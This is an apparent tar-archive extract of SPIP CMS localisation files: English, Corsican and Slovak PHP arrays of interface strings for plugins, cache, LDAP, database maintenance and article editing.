'plugin_info_necessite' => 'Requires:',
'plugin_info_non_compatible_spip' => 'This plugin is incompatible with this version of SPIP',
'plugin_info_plugins_dist_1' => 'The following plugins are loaded and activated in the @plugins_dist@ directory.',
'plugin_info_plugins_dist_2' => 'They cannot be disabled.',
'plugin_info_telecharger' => 'load from @url@ and install to @rep@',
'plugin_info_upgrade_ok' => 'Successful update',
'plugin_librairies_installees' => 'Libraries installed',
'plugin_necessite_lib' => 'This plugin requires the library @lib@',
'plugin_necessite_plugin' => 'Version @version@ or newer of the plugin @plugin@ is required.',
'plugin_necessite_plugin_sans_version' => 'Requires the plugin @plugin@',
'plugin_necessite_spip' => 'SPIP version @version@ or newer is required.',
'plugin_source' => 'source: ',
'plugin_titre_automatique' => 'Automatic installation',
'plugin_titre_automatique_ajouter' => 'Add plugins',
'plugin_titre_installation' => 'Installation of the @plugin@ plugin',
'plugin_titre_modifier' => 'My plugins',
'plugin_zip_active' => 'Continue in order to activate',
'plugin_zip_adresse' => 'To load a zipped plugin file, or a list of plugins, enter the path below.',
'plugin_zip_adresse_champ' => 'Path of the plugin or list ',
'plugin_zip_content' => 'It contains the following files(@taille@),<br />ready to be installed in the <code>@rep@</code> directory',
'plugin_zip_installe_finie' => 'The file @zip@ has been unpacked and installed.',
'plugin_zip_installe_rep_finie' => 'The file @zip@ has been unpacked and installed in the @rep@ directory',
'plugin_zip_installer' => 'You may now install it.',
'plugin_zip_telecharge' => 'The file @zip@ has been loaded',
'plugins_actif_aucun' => 'No plugins active.',
'plugins_actif_un' => 'One plugin active',
'plugins_actifs' => '@count@ active plugins.',
'plugins_actifs_liste' => 'Enabled',
'plugins_compte' => '@count@ plugins',
'plugins_disponible_un' => 'One plugin available',
'plugins_disponibles' => '@count@ plugins available.',
'plugins_erreur' => 'Error in the plugins: @plugins@',
'plugins_liste' => 'List of plugins',
'plugins_liste_dist' => 'Locked plugins',
'plugins_recents' => 'Recent plugins',
'plugins_tous_liste' => 'All',
'plugins_vue_hierarchie' => 'Hierarchy',
'plugins_vue_liste' => 'List',
'protocole_ldap' => 'Protocol version:',
// Q
'queue_executer_maintenant' => 'Run now',
'queue_info_purger' => 'You can delete all pending jobs and reset the list of periodic tasks',
'queue_nb_jobs_in_queue' => '@nb@ tasks in queue',
'queue_next_job_in_nb_sec' => 'Next job in @nb@ s',
'queue_no_job_in_queue' => 'No pending tasks',
'queue_one_job_in_queue' => '1 job in queue',
'queue_purger_queue' => 'Reset the job queue',
'queue_titre' => 'List of tasks',
// R
'repertoire_plugins' => 'Directory:',
// S
'sans_heure' => 'time not specified',
'statut_admin_restreint' => 'restricted admin',
'statut_webmestre' => 'webmaster',
// T
'tache_cron_asap' => 'CRON task @function@ (ASAP)',
'tache_cron_secondes' => 'CRON task @function@ (every @nb@ s)',
'taille_cache_image' => 'The images calculated automatically by SPIP (thumbnails, titles transformed into graphics, mathematical formulae in TeX format, etc.) take up a total of @taille@ in the @dir@ directory.',
'taille_cache_infinie' => 'This site does not have any fixed limit for the size of the cache.',
'taille_cache_maxi' => 'SPIP will try to limit the size of the cache directory to approximately <b>@octets@</b>.',
'taille_cache_moins_de' => 'The cache size is less than @octets@.',
'taille_cache_octets' => 'The size of the cache is currently around @octets@.',
'taille_cache_vide' => 'The cache is empty.',
'taille_repertoire_cache' => 'Current cache size ',
'text_article_propose_publication' => 'Article submitted for publication.',
'texte_acces_ldap_anonyme_1' => 'Some LDAP servers do not allow anonymous access. In this case you must indicate an initial access identifier for future directory searches. However, in most cases the following fields can be left empty.',
'texte_admin_effacer_01' => 'This command deletes <i>all</i> content in the database,
including <i>all</i> the access parameters for editors and administrators. After using it, you must
reinstall SPIP, create a new database and a new administrator account.',
'texte_adresse_annuaire_1' => '(If your directory is installed on the same machine as your website, it is probably «localhost».)',
'texte_ajout_auteur' => 'The following author was added to the article:',
'texte_annuaire_ldap_1' => 'If you have access to a LDAP directory server, you can use it to import users automatically into SPIP.',
'texte_article_statut' => 'Article status:',
'texte_article_virtuel' => 'Virtual article',
'texte_article_virtuel_reference' => '<b>Virtual article:</b> an article on your SPIP website which redirects to another URL. To remove redirection, delete the URL.',
'texte_aucun_resultat_auteur' => 'No results for "@cherche_auteur@".',
'texte_auteur_messagerie' => 'This site can update the list of editors online in real time, which allows you to be contacted by other users. You can opt not to appear in this list (you are then "invisible" to other users).',
'texte_auteur_messagerie_1' => 'This site allows the exchange of messages and creation of private forums between contributors to the site. You can opt not to participate in these activities.',
'texte_auteurs' => 'THE AUTHORS',
'texte_choix_base_1' => 'Select your database:',
'texte_choix_base_2' => 'The SQL server contains several databases.',
'texte_choix_base_3' => '<b>Select</b> below the one attributed by your hosting provider:',
'texte_choix_table_prefix' => 'Prefix for tables:',
'texte_commande_vider_tables_indexation' => 'Use this command to empty the indexing tables used
by SPIP’s integrated search engine. It will anable you
to save some disk space.',
'texte_compatibilite_html' => 'You can require SPIP to produce code compatible with the <i>HTML4</i> standard, or allow it to use more modern <i>HTML5</i> compatible code.',
'texte_compatibilite_html_attention' => 'There is no risk involved in activating the <i>HTML5</i> option. But if you do, the pages of your site must begin with the following code in order to be valid: <code><!DOCTYPE html></code>.',
'texte_compresse_ou_non' => '(compression optional)',
'texte_compte_element' => '@count@ element',
'texte_compte_elements' => '@count@ elements',
'texte_conflit_edition_correction' => 'Please compare differences between the two versions. You can also copy your changes and start over.',
'texte_connexion_mysql' => 'Consult the information provided by your hosting service. It should contain the connection codes for the SQL server.',
'texte_contenu_article' => '(Brief description of the article.)',
'texte_contenu_articles' => 'Depending on the layout chosen for your site, you can decide
that some article options are not to be used.
Use the following list to choose which options should be available.',
'texte_crash_base' => 'If your database
crashed, you can try to repair it
automatically.',
'texte_creer_rubrique' => 'Before writing any articles,<br /> you must create a section.',
'texte_date_creation_article' => 'ARTICLE CREATION DATE:',
'texte_date_creation_objet' => 'Creation date:', # on ajoute le ":"
'texte_date_publication_anterieure' => 'Date first published:',
'texte_date_publication_anterieure_nonaffichee' => 'Hide previous publication date.',
'texte_date_publication_article' => 'PUBLISHED ON:',
'texte_date_publication_objet' => 'Published on:',
'texte_descriptif_petition' => 'Petition description',
'texte_descriptif_rapide' => 'Brief description',
'texte_effacer_base' => 'Delete the SPIP database',
'texte_effacer_donnees_indexation' => 'Delete indexing data',
'texte_effacer_statistiques' => 'Delete the statistics',
'texte_en_cours_validation' => 'The following articles and news have been submitted for evaluation.',
'texte_enrichir_mise_a_jour' => 'You can enrich the layout of your text by using "typographical shortcuts".',
'texte_fichier_authent' => '<b>Should SPIP create the special files <tt>.htpasswd</tt>
and <tt>.htpasswd-admin</tt> in the directory @dossier@?</b>
<p>These files can be used to restrict access to authors and administrators to other parts of your site (for instance, external statistical programme).</p><p>If you have no need of such files, you can keep this option with its default value (no file creation).</p>',
'texte_informations_personnelles_1' => 'The system will now create your personal account for this site.',
'texte_informations_personnelles_2' => '(Note: if it is a reinstallation, if your former access is still working, you can',
'texte_introductif_article' => '(Introductory text for the article.)',
'texte_jeu_caractere' => 'We advise using the universal alphabet (<tt>utf-8</tt>) on your site. This will make it possible to display text in any language. All modern browsers are fully comptabile with this character set.',
'texte_jeu_caractere_2' => 'N.B. This setting will not convert text which already figures in the database.',
'texte_jeu_caractere_3' => 'Your site currently uses this character set:',
'texte_jeu_caractere_4' => 'If that does not correspond to your current data (this may occur after restoring your database from a backup), or if <em>you are setting up this site</em> and wish to use a different character set, please indicate the character set here:',
'texte_jeu_caractere_conversion' => 'Note: You can opt to convert definitely all the text (articles, news items, forums, etc.) on your site to the character set <tt>utf-8</tt>. To do this, go to the <a href="@url@">UTF-8 conversion page</a>.',
'texte_lien_hypertexte' => '(If your message refers to an article published elsewhere on the Web, or to a page providing more information, please enter the page title and URL here.)',
'texte_login_ldap_1' => '(Keep empty for anonymous access or enter complete path, for instance «<tt>uid=smith, ou=users, dc=my-domain, dc=com</tt>».)',
'texte_login_precaution' => 'Warning! This is the login which you are currently using.
Use this form with caution...',
'texte_message_edit' => 'Warning: this message can be modified by all site administrators, and it is visible to all editors. Use announcements only to communicate important information concerning the site.',
'texte_messagerie_agenda' => 'A messaging system enables the authors on this site to communicate directly in the private area. It is linked to a calendar.',
'texte_mise_a_niveau_base_1' => 'You have just updated SPIP files.
Now you must upgrade the site
database.',
'texte_modifier_article' => 'Edit this article:',
'texte_moteur_recherche_active' => '<b>The search engine is enabled.</b> Use this command
to force a quick reindexing (e.g. after restoring
a backup). You should note that the documents modified in
the normal way (via the SPIP interface) are automatically
reindexed. This command is therefore only useful in exceptional circumstances.',
'texte_moteur_recherche_non_active' => 'The search engine is not enabled.',
'texte_multilinguisme' => 'If you want to manage objects in several languages, with complex navigation, you can add a language selection menu to these objects, depending on the organization of your site.',
'texte_multilinguisme_trad' => 'You can also enable a system for managing links between the various translations of certain objects.',
'texte_non_compresse' => '<i>uncompressed</i> (your server does not support this feature)',
'texte_nouveau_message' => 'New message',
'texte_nouvelle_version_spip_1' => 'You have just installed a new version of SPIP.',
'texte_nouvelle_version_spip_2' => 'This new version requires a more thorough update than usual. If you are the webmaster of this site, please delete the file @connect@ and restart installation in order to update your database connection parameters. <p>(PS.: if you have forgotten your connection parameters, take a look at the file @connect@ before deleting it!)</p>',
'texte_operation_echec' => 'Go back to the previous page, select another database or create a new one. Verify the information provided by your hosting service.',
'texte_plus_trois_car' => 'more than 3 characters',
'texte_plusieurs_articles' => 'Several authors were found for "@cherche_auteur@":',
'texte_port_annuaire' => '(Default value is generally suitable.)',
'texte_presente_plugin' => 'This page shows the plugins available on this site. Activate the plugins you require by ticking the corresponding box.',
'texte_proposer_publication' => 'When your article is finished,<br /> you can submit it for publication.',
'texte_proxy' => 'In some cases (e.g. intranet, protected network), it is necessary to use an <i>HTTP proxy</i> to reach external sites (SPIP documentation, syndicated sites, etc.). If this is the case, enter its address in the form @proxy_en_cours@. In most cases you can leave this box empty.',
'texte_publication_articles_post_dates' => 'Which behaviour should SPIP adopt for articles whose
publication date has been set in
the future?',
'texte_rappel_selection_champs' => '[Remember to select this field correctly.]',
'texte_recalcul_page' => 'If you want
to re-process a single page, it is easier to view that page from the public site and click "Re-process this page".',
'texte_recapitiule_liste_documents' => 'This page summarises the documents that you have placed in the sections. To modify the information for a document, follow the link to its section.',
'texte_recuperer_base' => 'Repair the database',
'texte_reference_mais_redirige' => 'article referenced in your SPIP site, but redirected to another URL.',
'texte_requetes_echouent' => '<b>When some SQL queries fail
systematically, without apparent reason, it is possible
that the database itself
is the culprit.</b><p>
The SQL server has a feature for repairing tables
which have been accidentally
corrupted. Here, you can attempt to execute this repair; in
the event of failure, you should keep a copy of the display, which might contain
clues as to where the problem lies.</p><p>
If the problem persists, contact your
service provider.</p>',
'texte_selection_langue_principale' => 'You can select the "primary language" for the site. This does not mean that you can only write articles in that language, but it is used to determine
<ul><li> the default format of dates on the public site,</li>
<li> the nature of the typographical engine which will be used by SPIP for rendering text,</li>
<li> the language used in the forms on the public site,</li>
<li> the default language displayed in the private area.</li></ul>',
'texte_sous_titre' => 'Subtitle',
'texte_statistiques_visites' => '(dark bars = Sunday, dark curve: average visits)',
'texte_statut_attente_validation' => 'awaiting validation',
'texte_statut_publies' => 'published online',
'texte_statut_refuses' => 'rejected',
'texte_suppression_fichiers' => 'Use this command to purge all the files
in the SPIP cache. This will force recalculation of every page on the site, useful after
significant modifications to the site’s graphics or structure.',
'texte_sur_titre' => 'Lead-in title',
'texte_table_ok' => ': this table is OK.',
'texte_tables_indexation_vides' => 'The engine’s indexing tables are empty.',
'texte_tentative_recuperation' => 'Attempting to repair',
'texte_tenter_reparation' => 'Attempt to repair the database',
'texte_test_proxy' => 'To test this proxy, enter the address of a website
for verification.',
'texte_titre_02' => 'Subject:',
'texte_titre_obligatoire' => '<b>Title</b> [Required]',
'texte_travail_article' => '@nom_auteur_modif@ edited this article @date_diff@ minutes ago',
'texte_travail_collaboratif' => 'If several editors often work on the same article, the system can mark recently "opened" articles in order to avoid multiple simultaneous editing.
This option is disabled by default to avoid displaying unnecessary warning
messages.',
'texte_trop_resultats_auteurs' => 'Too many results for "@cherche_auteur@". Please use more search criteria.',
'texte_unpack' => 'downloading the latest version',
'texte_utilisation_moteur_syndiques' => 'When you use SPIP’s integrated search engine,
you can perform searches on syndicated sites and
articles in two different ways. <br />- The simplest
way is to search only in the
titles and descriptions of the articles. <br />-
A second, much more powerful, method allows
SPIP to also search the text
of referenced sites. If you
reference a site, SPIP will perform
the search on the site’s text itself.',
'texte_utilisation_moteur_syndiques_2' => 'This method forces SPIP to visit referenced sites regularly, which may cause a drop in performance for your own site.',
'texte_vide' => 'empty',
'texte_vider_cache' => 'Empty the cache',
'titre_admin_effacer' => 'Technical maintenance',
'titre_admin_tech' => 'Technical maintenance',
'titre_admin_vider' => 'Technical maintenance',
'titre_ajouter_un_auteur' => 'Add an author',
'titre_ajouter_un_mot' => 'Add a keyword',
'titre_ajouter_une_rubrique' => 'Add a section',
'titre_cadre_afficher_article' => 'Show the articles:',
'titre_cadre_afficher_traductions' => 'Display the translation status for these languages:',
'titre_cadre_ajouter_auteur' => 'ADD AN AUTHOR:',
'titre_cadre_interieur_rubrique' => 'In section',
'titre_cadre_numero_auteur' => 'AUTHOR NUMBER',
'titre_cadre_numero_objet' => '@objet@ NUMBER:',
'titre_cadre_signature_obligatoire' => '<b>Signature</b> [Required]<br />',
'titre_config_contenu_notifications' => 'Notifications',
'titre_config_contenu_prive' => 'In the private area',
'titre_config_contenu_public' => 'On the public site',
'titre_config_fonctions' => 'Site configuration',
'titre_config_langage' => 'Configure the language',
'titre_configuration' => 'Site configuration',
'titre_configurer_preferences' => 'Configure your preferences',
'titre_conflit_edition' => 'Conflict while editing',
'titre_connexion_ldap' => 'Options: <b>Your LDAP connection</b>',
'titre_groupe_mots' => 'KEYWORD GROUP:',
'titre_identite_site' => 'Site identity',
'titre_langue_article' => 'Article language',
'titre_langue_rubrique' => 'Section language',
'titre_langue_trad_article' => 'ARTICLE LANGUAGE AND TRANSLATIONS',
'titre_les_articles' => 'ARTICLES',
'titre_messagerie_agenda' => 'Messaging system and calendar',
'titre_naviguer_dans_le_site' => 'Browse the site...',
'titre_nouvelle_rubrique' => 'New section',
'titre_numero_rubrique' => 'SECTION NUMBER:',
'titre_page_admin_effacer' => 'Technical maintenance: deleting the database',
'titre_page_articles_edit' => 'Modify: @titre@',
'titre_page_articles_page' => 'Articles',
'titre_page_articles_tous' => 'The entire site',
'titre_page_auteurs' => 'Visitors',
'titre_page_calendrier' => 'Calendar @nom_mois@ @annee@',
'titre_page_config_contenu' => 'Site configuration',
'titre_page_config_fonctions' => 'Site configuration',
'titre_page_configuration' => 'Site configuration',
'titre_page_controle_petition' => 'Petitions follow-up',
'titre_page_delete_all' => 'total and irreversible deletion',
'titre_page_documents_liste' => 'Attached documents',
'titre_page_index' => 'Your private area',
'titre_page_message_edit' => 'Write a message',
'titre_page_messagerie' => 'Your messaging',
'titre_page_recherche' => 'Search results @recherche@',
'titre_page_statistiques_referers' => 'Statistics (incoming links)',
'titre_page_statistiques_signatures_jour' => 'Signatures count by day',
'titre_page_statistiques_signatures_mois' => 'Signatures count by month',
'titre_page_upgrade' => 'SPIP upgrade',
'titre_publication_articles_post_dates' => 'Publication of post dated articles',
'titre_referencer_site' => 'Reference the site:',
'titre_rendez_vous' => 'APPOINTMENTS:',
'titre_reparation' => 'Repair',
'titre_suivi_petition' => 'Petitions follow-up',
'tls_ldap' => 'Transport Layer Security :',
'trad_article_inexistant' => 'There is no article with this number',
'trad_article_traduction' => 'All the versions of this article:',
'trad_deja_traduit' => 'Error: impossible to link this article to the requested number.',
'trad_delier' => 'Stop linking to these translations',
'trad_lier' => 'This article is a translation of article number:',
'trad_new' => 'Write a new translation',
// U
'upload_info_mode_document' => 'Place this image in the portfolio',
'upload_info_mode_image' => 'Remove this image from the portfolio',
'utf8_convert_attendez' => 'Wait a few seconds and then reload this page.',
'utf8_convert_avertissement' => 'You are about to convert the contents of your database (articles, news items, etc) from the character set <b>@orig@</b> to the character set <b>@charset@</b>.',
'utf8_convert_backup' => 'Don’t forget to first make a complete backup of your site. You need also to check that your templates and language files are compatible with @charset@.',
'utf8_convert_erreur_deja' => 'Your site is already in @charset@, there is no point in converting.',
'utf8_convert_erreur_orig' => 'Error: the character set @charset@ is not supported.',
'utf8_convert_termine' => 'Finished!',
'utf8_convert_timeout' => '<b>Important:</b> If the server indicates <i>timeout</i>, please continue to reload the page until you receive the message «Finished!».',
'utf8_convert_verifier' => 'You now need to empty the site cache and then check if all is well on the public pages of the site. If you are stuck with a major problem, a backup of your original data (in SQL format) has been made in the @rep@ directory.',
'utf8_convertir_votre_site' => 'Convert your site to utf-8',
// V
'version' => 'Version:'
);
?>
public_co.php 0000666 00000007531 15252547432 0007237 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/public?lang_cible=co
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'accueil_site' => 'Accogliu di u situ', # MODIF
'article' => 'Artìculu',
'articles' => 'Artìculi',
'articles_auteur' => 'Artìculi di st’autore',
'articles_populaires' => 'Artìculi i più pupulari',
'articles_rubrique' => 'Artìculi di sta rùbbrica',
'aucun_article' => 'Ùn ci hè artìculu à st’indirizzu',
'aucun_auteur' => 'Ùn ci hè autore à st’indirizzu',
'aucun_site' => 'Ùn ci hè situ à st’indirizzu',
'aucune_breve' => 'Ùn ci hè dispacciu à st’indirizzu',
'aucune_rubrique' => 'Ùn ci hè rùbbrica à st’indirizzu',
'auteur' => 'Autore',
'autres' => 'Altri',
'autres_breves' => 'Altri dispacci',
'autres_groupes_mots_clefs' => 'Altri gruppi di segni',
'autres_sites' => 'Alri siti',
// B
'bonjour' => 'Salute',
// C
'commenter_site' => 'Cummentà stu situ',
'contact' => 'Cuntattu',
'copie_document_impossible' => 'Impussìbule di cupià u ducumentu',
// D
'date' => 'Data',
'dernier_ajout' => 'Ùltimu aghjuntu',
'dernieres_breves' => 'Ùltimi dispacci',
'derniers_articles' => 'Ùltimi artìculi',
'derniers_commentaires' => 'Ùltimi cummenti',
'derniers_messages_forum' => 'Ùltimi messagi pubblicati in i fori',
// E
'edition_mode_texte' => 'Edizione in modu testu di',
'en_reponse' => 'Da risposta à :',
'en_resume' => 'Da riassuntu',
'envoyer_message' => 'Mandà u messagiu',
'espace_prive' => 'Spaziu privatu',
// F
'formats_acceptes' => 'Furmati accettati : @formats@.',
// H
'hierarchie_site' => 'Ierarchia di u situ',
// J
'jours' => 'ghjorni',
// L
'lien_connecter' => 'Cunnette si',
// M
'meme_auteur' => 'Da listessu autore',
'meme_rubrique' => 'In a listessa rùbbrica',
'memes_auteurs' => 'Da listessi autori',
'message' => 'Messagiu',
'messages_forum' => 'Messagi di foru', # MODIF
'messages_recents' => 'Messagi di fori i più recenti',
'mots_clefs' => 'Segni',
'mots_clefs_meme_groupe' => 'Segni in u listessu gruppu',
// N
'navigation' => 'Navigazione',
'nom' => 'Nome',
'nouveautes' => 'E nuvità',
'nouveautes_web' => 'Nuvità nant’à u web',
'nouveaux_articles' => 'Nuvelli artìculi',
'nouvelles_breves' => 'Nuvelli dispacci',
// P
'page_precedente' => 'pàgina prima',
'page_suivante' => 'pàgina dopu',
'par_auteur' => 'da ',
'participer_site' => 'Pudete puru participà à a vita di stu situ è prupone i vostri artìculi iscrivendu vi quì sottu.
Riceverete sùbbitu un email cù i vostri còdici d’accessu à u spaziu privatu di u situ.',
'plan_site' => 'Pianu di u situ',
'popularite' => 'Pupularità',
'poster_message' => 'Pustà un messagiu',
'proposer_site' => 'Pudete puru prupone un situ da aghjunghje in sta rùbbrica :',
// R
'repondre_article' => 'Risponde à st’artìculu',
'repondre_breve' => 'Risponde à stu dispacciu',
'resultats_recherche' => 'Risultati di a ricerca',
'retour_debut_forums' => 'Ritornu à u principiu di i fori',
'rubrique' => 'Rùbbrica',
'rubriques' => 'Rùbbriche',
// S
'signatures_petition' => 'Zifre',
'site_realise_avec_spip' => 'Situ fattu cù SPIP',
'sites_web' => 'Siti Web',
'sous_rubriques' => 'Sotturùbbriche',
'spam' => 'Spam',
'suite' => 'sèguita',
'sur_web' => 'Nant’à u Web',
'syndiquer_rubrique' => 'Sindicà sta rùbbrica',
'syndiquer_site' => 'Sindicà u situ sanu',
// T
'texte_lettre_information' => 'Eccu a lèttera d’infurmazione di u situ',
'texte_lettre_information_2' => 'Sta lèttera face u censu di l’artìculi è i dispacci dipoi', # MODIF
// V
'ver_imprimer' => 'Versione da stampà',
'voir_en_ligne' => 'Vede in ligna',
'voir_squelette' => 'vede u mudellu di sta pàgina'
);
?>
ecrire_sk.php 0000666 00000220530 15252547432 0007242 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/ecrire_?lang_cible=sk
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'activer_plugin' => 'Aktivovať zásuvný modul',
'affichage' => 'Zobraziť',
'aide_non_disponible' => 'Táto časť online pomocníka ešte nie je dostupná v tomto jazyku.',
'annuler_recherche' => 'Zrušiť vyhľadávanie',
'auteur' => 'Autor:',
'avis_acces_interdit' => 'Prístup odopretý.',
'avis_article_modifie' => 'Pozor! @nom_auteur_modif@ pracoval(a) na tomto článku @date_diff@ minút',
'avis_aucun_resultat' => 'Žiadne výsledky sa nenašli.',
'avis_base_inaccessible' => 'K databáze @base@ sa nedá pripojiť.',
'avis_chemin_invalide_1' => 'Zdá sa, že umiestnenie, ktoré ste si zvolili',
'avis_chemin_invalide_2' => 'je neplatné. Prosím, vráťte sa na predchádzajúcu stránku a skontrolujte údaje, ktoré ste uviedli.',
'avis_connexion_echec_1' => 'Pripojenie k serveru SQL zlyhalo.',
'avis_connexion_echec_2' => 'Vráťte sa na predchádzajúcu stránku a skontrolujte údaje, ktoré ste uviedli.',
'avis_connexion_echec_3' => '<b>Pozn.</b> Na mnohých serveroch musíte <b>požiadať</b> o aktiváciu prístupu k databáze SQL predtým, ako ho budete môcť využívať. Ak sa nemôžete pripojiť, zistite, či táto aktivácia prebehla.',
'avis_connexion_erreur_nom_base' => 'V názve databázy môžu byť len písmená, čísla a spojovníky',
'avis_connexion_ldap_echec_1' => 'Pripojenie k serveru LDAP zlyhalo.',
'avis_connexion_ldap_echec_2' => 'Vráťte sa na predchádzajúcu stránku a skontrolujte údaje, ktoré ste uviedli.',
'avis_connexion_ldap_echec_3' => 'Prípadne nevyužívajte podporu LDAP na import používateľov.',
'avis_deplacement_rubrique' => 'Pozor! V tejto rubrike je @contient_breves@ novinka @scb@: ak ju presuniete, potvrďte to, prosím, označením tohto políčka.',
'avis_destinataire_obligatoire' => 'Ak chcete poslať správu, musíte vybrať príjemcu.',
'avis_erreur_connexion_mysql' => 'Chyba pripojenia k SQL',
'avis_erreur_version_archive' => '<b>Pozor! Súbor @archive@ bol vytvorený
v inej verzii SPIPu ako je tá, ktorú máte
nainštalovanú.</b> Môže to mať za následok vážne
problémy, vrátane zničenia databázy,
nefunkčnosti rôznych častí webu atď. Neposielajte
túto požiadavku na nahrávanie.<p>Bližšie informácie
nájdete <a href="@spipnet@">
v dokumentácii k SPIPu.</a></p>',
'avis_espace_interdit' => '<b>Zakázaná zóna</b><div>SPIP je už nainštalovaný.</div>',
'avis_lecture_noms_bases_1' => 'Inštalátor nevedel prečítať názov žiadnej z nainštalovaných databáz.',
'avis_lecture_noms_bases_2' => 'Buď nie je dostupná žiadna databáza, alebo bola funkcia, ktorá umožňuje vymenovanie databáz, deaktivovaná
z bezpečnostných dôvodov (čo je prípad mnohých hostingov).',
'avis_lecture_noms_bases_3' => 'V druhom prípade je možné, že by sa dala použiť databáza uvedená po prihlasovacom mene:',
'avis_non_acces_message' => 'K tejto správe nemáte prístup.',
'avis_non_acces_page' => 'K tejto stránke nemáte prístup.',
'avis_operation_echec' => 'Operácia sa nepodarila.',
'avis_operation_impossible' => 'Operácia sa nedá vykonať',
'avis_probleme_archive' => 'Chyba pri čítaní v súbore @archive@',
'avis_suppression_base' => 'UPOZORNENIE: vymazanie údajov sa nedá vrátiť späť',
'avis_version_mysql' => 'Verzia vášho SQL (@version_mysql@) neumožňuje automatickú opravu databázových tabuliek.',
// B
'bouton_acces_ldap' => 'Pridať prístup k LDAP',
'bouton_ajouter' => 'Pridať',
'bouton_ajouter_participant' => 'PRIDAŤ ÚČASTNÍKA:',
'bouton_annonce' => 'OZNAM',
'bouton_annuler' => 'Zrušiť',
'bouton_cache_activer' => 'Zapnúť cache',
'bouton_cache_desactiver' => 'Dočasne vypnúť cache',
'bouton_checkbox_envoi_message' => 'možnosť poslať správu',
'bouton_checkbox_indiquer_site' => 'Musíte zadať názov webstránky',
'bouton_checkbox_signature_unique_email' => 'na 1 e-mailovú adresu iba 1 podpis',
'bouton_checkbox_signature_unique_site' => 'iba 1 podpis na webstránku',
'bouton_demande_publication' => 'Požiadať o publikovanie tohto článku',
'bouton_desactive_tout' => 'Deaktivovať všetko',
'bouton_desinstaller' => 'Odinštalovať',
'bouton_effacer_index' => 'Odstrániť indexovanie',
'bouton_effacer_tout' => 'Zmazať VŠETKO',
'bouton_envoi_message_02' => 'POSLAŤ SPRÁVU',
'bouton_envoyer_message' => 'Správa dokončená: poslať',
'bouton_fermer' => 'Zatvoriť',
'bouton_mettre_a_jour_base' => 'Aktualizovať databázu',
'bouton_modifier' => 'Zmeniť',
'bouton_pense_bete' => 'PRIPOMIENKA NA SÚKROMNÉ POUŽITIE',
'bouton_radio_activer_messagerie' => 'Povoliť interný odkazovač',
'bouton_radio_activer_messagerie_interne' => 'Aktivovať interný odkazovač',
'bouton_radio_activer_petition' => 'Aktivovať petíciu',
'bouton_radio_afficher' => 'Zobraziť',
'bouton_radio_apparaitre_liste_redacteurs_connectes' => 'Zobraziť v zozname redaktorov online',
'bouton_radio_desactiver_messagerie' => 'Deaktivovať odkazovač',
'bouton_radio_envoi_annonces_adresse' => 'Poslať oznamy na adresu:',
'bouton_radio_envoi_liste_nouveautes' => 'Poslať zoznam aktualizácií noviniek',
'bouton_radio_non_apparaitre_liste_redacteurs_connectes' => 'Nezobraziť v zozname redaktorov online',
'bouton_radio_non_envoi_annonces_editoriales' => 'Neposielať oznamy z redakcie',
'bouton_radio_pas_petition' => 'Žiadne petície',
'bouton_radio_petition_activee' => 'Petícia aktivovaná',
'bouton_radio_supprimer_petition' => 'Odstrániť petíciu',
'bouton_redirection' => 'PRESMEROVANIE',
'bouton_relancer_installation' => 'Znova spustiť inštaláciu',
'bouton_suivant' => 'Ďalej',
'bouton_tenter_recuperation' => 'Pokus o opravu',
'bouton_test_proxy' => 'Otestovať proxy',
'bouton_vider_cache' => 'Vyprázdniť cache',
'bouton_voir_message' => 'Zobraziť správu pred schválením',
// C
'cache_mode_compresse' => 'Súbory cache sa ukladajú v komprimovanom režime.',
'cache_mode_non_compresse' => 'Do súborov cache sa zapisuje v rozbalenom režime.',
'cache_modifiable_webmestre' => 'Tento parameter môže webmaster zmeniť.',
'calendrier_synchro' => 'Ak používate aplikáciu kalendára kompatibilnú s <b>iCalom,</b> môžete ju synchronizovať s údajmi z tejto stránky.',
'config_activer_champs' => 'Aktivovať nasledujúce polia',
'config_choix_base_sup' => 'Vyberte databázu na tomto serveri',
'config_erreur_base_sup' => 'SPIP nemá prístup k zoznamu dostupných databáz',
'config_info_base_sup' => 'Ak potrebujete prehľadať iné databázy pomocou SPIPu, či už na tomto serveri SQL alebo inde, deklarujte ich pomocou tohto formulára. Ak nejaké polia nevyplníte, použijú sa prihlasovacie údaje k hlavnej databáze.',
'config_info_base_sup_disponibles' => 'Ďalšie databázy, kde sa môžu poslať požiadavky:',
'config_info_enregistree' => 'Nové nastavenie bolo uložené',
'config_info_logos' => 'Každý prvok stránky môže mať svoje vlastné logo, ako aj logo „pre prechádzajúcu myš“',
'config_info_logos_utiliser' => 'Používať logá',
'config_info_logos_utiliser_non' => 'Nepoužívať logá',
'config_info_logos_utiliser_survol' => 'Používať logá „pre prechádzajúcu myš“',
'config_info_logos_utiliser_survol_non' => 'Nepoužívať logá „pre prechádzajúcu myš“',
'config_info_redirection' => 'Ak aktivujete túto možnosť, budete môcť vytvárať virtuálne články, čo sú jednoducho odkazy na články publikované na iných stránkach, a to nielen pomocou SPIPu.',
'config_redirection' => 'Virtuálne články',
'config_titre_base_sup' => 'Deklarácia ďalšej databázy',
'config_titre_base_sup_choix' => 'Vyberte si doplnkovú databázu',
'connexion_ldap' => 'Pripojenie:',
'copier_en_local' => 'Skopírovať na lokálnu stránku',
'creer_et_associer_un_auteur' => 'Zapísať a priradiť autora',
'creer_et_associer_une_rubrique' => 'Vytvoriť a priradiť rubriku',
// D
'date_mot_heures' => 'hodín/hodiny',
// E
'ecran_securite' => '+ bezpečnostná obrazovka @version@',
'email' => 'e-mail',
'email_2' => 'e-mail:',
'en_savoir_plus' => 'Zistiť viac',
'entree_adresse_annuaire' => 'Adresa priečinka',
'entree_adresse_email' => 'Vaša e-mailová adresa',
'entree_adresse_email_2' => 'E-mailová adresa',
'entree_base_donnee_1' => 'Adresa databázy',
'entree_base_donnee_2' => '(Táto adresa sa často zhoduje s adresou stránky, hoci niekedy to je „localhost“ a niekedy sa nevypĺňa.)',
'entree_biographie' => 'Stručný životopis',
'entree_chemin_acces' => '<b>Zadajte</b> umiestnenie:',
'entree_cle_pgp' => 'Váš kľúč PGP',
'entree_cle_pgp_2' => 'Kľúč PGP',
